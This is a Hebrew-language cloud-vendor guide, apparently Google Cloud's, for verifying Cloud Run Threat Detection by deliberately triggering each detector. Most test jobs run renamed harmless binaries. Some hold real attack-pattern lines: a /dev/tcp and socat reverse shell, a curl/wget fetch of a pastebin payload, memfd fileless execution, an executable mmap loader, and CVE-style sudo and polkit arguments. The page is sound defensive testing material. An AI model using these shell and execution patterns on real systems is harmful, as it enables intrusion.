בדף הזה מוסבר איך לוודא שזיהוי האיומים ב-Cloud Run פועל. לשם כך, מפעילים בכוונה גלאים ובודקים אם נמצאו ממצאים. Cloud Run Threat Detection הוא שירות מובנה של Security Command Center.
לפני שמתחילים
כדי לזהות איומים פוטנציאליים על השירותים והמשימות שלכם ב-Cloud Run, צריך לוודא ששירות זיהוי האיומים ב-Cloud Run מופעל ב-Security Command Center. חלק מהגלאים מושבתים כברירת מחדל. כדי לבדוק את אמצעי הזיהוי האלה, צריך קודם להפעיל אותם.
הגדרה של משתני סביבה
כדי לבדוק את אמצעי הזיהוי, משתמשים במסוף Google Cloud וב-Cloud Shell. אפשר להגדיר משתני סביבה ב-Cloud Shell כדי להפעיל פקודות בצורה נוחה יותר. תשתמשו במשתנים האלה כדי לבדוק את כל אמצעי הזיהוי.
עוברים אל Google Cloud המסוף.
בוחרים את הפרויקט שמכיל את משימת Cloud Run שרוצים להשתמש בה לבדיקה.
לוחצים על הפעלת Cloud Shell.
ב-Cloud Shell, מגדירים את משתני הסביבה:
מגדירים את הפרויקט והאזור שבהם ייצרו משרות לבדיקה.
export PROJECT=PROJECT_ID export REGION=REGION
אחרי שמגדירים את משתני הסביבה, אפשר להמשיך לפעול לפי ההוראות לבדיקת אמצעי הזיהוי.
Command and Control: Steganography Tool Detected
כדי להפעיל ממצא מסוג Command and Control: Steganography Tool Detected (תצוגה מקדימה), מריצים קובץ בינארי עם יכולות מניפולציה של קבצים, באופן שמתאים לכלים של סטגנוגרפיה בתוך מאגר. בדוגמה הזו, המערכת מעתיקה את /bin/ls ומשנה את השם שלו ל-steghide.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Command and Control: Steganography Tool
Detected.
גישה לפרטי כניסה: איתור Google Cloud פרטי כניסה
כדי להפעיל Credential Access: Find Google Cloud Credentials ממצא, מריצים קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו, הפקודה מעתיקה את /bin/ls, משנה את השם שלו ל-grep ומבצעת אותו עם ארגומנטים חשודים.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Credential Access: Find Google Cloud Credentials
גישה לפרטי כניסה: סיור במפתח GPG
כדי להפעיל ממצא Credential Access: GPG Key Reconnaissance, מריצים כלי חיפוש עם ארגומנטים חשודים.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר Credential Access: GPG Key Reconnaissance
ממצא.
גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות
כדי להפעיל ממצא Credential Access: Search Private Keys or Passwords, מריצים כלי חיפוש עם ארגומנטים חשודים.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Credential Access: Search Private Keys or
Passwords.
התחמקות מהגנה: שורת פקודה של קובץ ELF בפורמט Base64
כדי להפעיל את Defense Evasion: Base64 ELF File Command Line הממצא, מריצים את base64 עם ארגומנטים של כותרת ELF מקודדים.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה אמור ליצור שתי Defense Evasion: Base64 ELF File Command Lineמסקנות.
התחמקות מהגנה: סקריפט Python עם קידוד Base64 הופעל
כדי להפעיל ממצא של Defense Evasion: Base64 Encoded Python Script Executed, מריצים את echo עם פקודת Python מוצפנת.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר Defense Evasion: Base64 Encoded Python Script Executed
ממצא.
התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל
כדי להפעיל ממצא Defense Evasion: Base64 Encoded Shell Script Executed, מריצים את הפקודה echo עם פקודת מעטפת מקודדת.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר Defense Evasion: Base64 Encoded Shell Script Executed
ממצא.
התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר
כדי להפעיל ממצא Defense Evasion: Launch Code Compiler Tool In Container
(תצוגה מקדימה), מריצים כלי של קומפיילר.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Defense Evasion: Launch Code Compiler Tool
In Container.
ביצוע: נוסף קובץ בינארי זדוני שהופעל
כדי להפעיל ביצוע: מוסיפים ממצא מסוג 'הופעל קובץ בינארי זדוני', מוסיפים קובץ בינארי זדוני (EICAR) למאגר ומריצים אותו.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Binary Executed .
ביצוע: נוספה טעינה של ספרייה זדונית
כדי להפעיל הרצה: הוספת ממצא מסוג 'ספרייה זדונית נטענה', מוסיפים ספרייה זדונית במאגר ומטעינים אותה. בדוגמה הזו, מתבצע עדכון של הקובץ /tmp/test_mal_lib באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא בלתי צפויה כי הקובץ לא היה ב קובץ אימג' של קונטיינר המקורית, והספרייה היא קובץ בדיקה של EICAR, שמסווג כ תוכנה זדונית על ידי מודיעין איומי סייבר.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Library Loaded (ביצוע: טעינת ספרייה זדונית שנוספה).
ביצוע: פירצה בקונטיינר
כדי להפעיל את הממצא Execution: Container Escape, מריצים כלי שמדמה התנהגות של פירצה בקונטיינר.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Container Escape.
ביצוע: ביצוע ללא קבצים ב-/memfd:
כדי להפעיל Execution: Fileless Execution in /memfd: ממצא,
מריצים תהליך מ-/memfd: במערכת קבצים בזיכרון באמצעות Python.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Execution: Fileless Execution in /memfd:
ממצא.
ביצוע: הרצת כלי לתקיפת Kubernetes
כדי להפעיל ביצוע: ממצא של ביצוע כלי תקיפה של Kubernetes, מריצים תוכנית שתואמת לכלי תקיפה ידוע.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Execution: Kubernetes Attack Tool Execution.
הרצה: הרצת כלי סיור מקומי
כדי להפעיל ממצא של Execution: Local Reconnaissance Tool Execution, מריצים תוכנה שתואמת לכלי סיור.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא של Execution: Local Reconnaissance Tool (ביצוע: כלי לסיור מקומי).
ביצוע: קובץ בינארי זדוני שונה הופעל
כדי להפעיל את הממצא Execution: Modified Malicious Binary Executed, צריך לשנות קובץ בינארי כך שיתאים לחתימה זדונית ידועה (EICAR).
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Binary Executed (ביצוע: קובץ בינארי זדוני ששונה בוצע).
ביצוע: ספרייה זדונית ששונתה נטענה
כדי להפעיל את הממצא Execution: Modified Malicious Library Loaded, משנים קובץ קיים עם ספרייה זדונית במאגר ומטעינים אותו. בדוגמה הזו, מתבצע עדכון של הקובץ /etc/issue באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא לא צפויה כי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Library Loaded (ביצוע: נטען קובץ ספריה זדוני ששונה).
Execution: Netcat Remote Code Execution In Container
כדי להפעיל אירוע Execution: Netcat Remote Code Execution In Container, מריצים את netcat עם ארגומנטים חשודים.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Netcat Remote Code Execution In
Container.
ביצוע: אפשר להריץ פקודות שרירותיות דרך CUPS (CVE-2024-47076)
כדי להפעיל Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)
ממצא, מריצים סקריפט שמדמה את ניצול הפרצה.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)
ממצא.
ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק
כדי להפעיל ממצא של Execution: Possible Remote Command Execution Detected
(תצוגה מקדימה), מריצים פקודה שמנסה ליצור חיבור מרחוק.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Execution: Possible Remote Command
Execution Detected.
הרצה: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית
כדי להפעיל את איתור Execution: Program Run with Disallowed HTTP Proxy Env, מריצים תוכנית עם משתנה סביבה של פרוקסי לא תקין.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Execution: Program Run with Disallowed
HTTP Proxy Env.
ביצוע: זוהה reverse shell של Socat
כדי להפעיל ממצא Execution: Socat Reverse Shell Detected, צריך ליצור reverse shell באמצעות כלי השירות socat.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Execution: Socat Reverse Shell Detected
ממצא.
ביצוע: נטען אובייקט משותף חשוד של OpenSSL
כדי להפעיל Execution: Suspicious OpenSSL Shared Object Loadedממצא,
מריצים את הפקודה openssl עם ספרייה חשודה.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Execution: Suspicious OpenSSL Shared Object Loaded
ממצא.
העברה לא מורשית: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר
כדי להפעיל Exfiltration: Launch Remote File Copy Tools In Container
ממצא, מריצים כלי להעתקה מרחוק.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Exfiltration: Launch Remote File Copy Tools
In Container.
השפעה: זיהוי של שורות פקודה זדוניות
כדי להפעיל ממצא Impact: Detect Malicious Cmdlines (תצוגה מקדימה), מריצים שם פקודה חשוד (IPFS).
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Impact: Detect Malicious Cmdlines
ממצא.
השפעה: הסרת נתונים בכמות גדולה מהדיסק
כדי להפעיל ממצא של Impact: Remove Bulk Data From Disk, מריצים כלי כמו shred.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Impact: Remove Bulk Data From Disk
ממצא.
השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum
כדי להפעיל ממצא Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, מריצים קובץ בינארי עם ארגומנטים שדומים לאלה שמשמשים תוכנה לכריית מטבעות קריפטוגרפיים שמתקשרת באמצעות פרוטוקול Stratum.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
הופעל סקריפט זדוני
כדי להפעיל את הממצא Malicious Script Executed (הופעל סקריפט זדוני), מריצים סקריפט שמדמה התנהגות זדונית.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא של סקריפט זדוני שהופעל.
זוהתה כתובת URL זדונית
כדי להפעיל ממצא מסוג Malicious URL Observed (זוהתה כתובת URL זדונית), מריצים קובץ בינארי ומספקים כתובת URL זדונית כארגומנט.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה מפעיל את הממצא Malicious URL Observed (כתובת URL זדונית שנצפתה).
הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)
כדי להפעיל Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)
ממצא, מריצים את קובץ ההפעלה sudo עם הפרמטר -u#-1.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)
ממצא.
הסלמת הרשאות: הסלמת הרשאות פוטנציאלית ב-Sudo (CVE-2021-3156)
כדי להפעיל Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)
ממצא, מריצים את קובץ ה-binary sudo עם הפרמטר -s ופרמטר שמסתיים ב-``.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)
ממצא.
הסלמת הרשאות: נקודת חולשה בהסלמת הרשאות מקומית ב-Polkit (CVE-2021-4034)
כדי להפעיל את Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), מריצים קובץ בינארי של pkexec עם משתנה הסביבה GCONV_PATH שמוגדר כמשתמש לא-בסיסי.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)
Reverse Shell
כדי להפעיל את האיתור של Reverse Shell, צריך להפעיל קובץ בינארי עם stdin הפניה ל-socket שמחובר ל-TCP.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
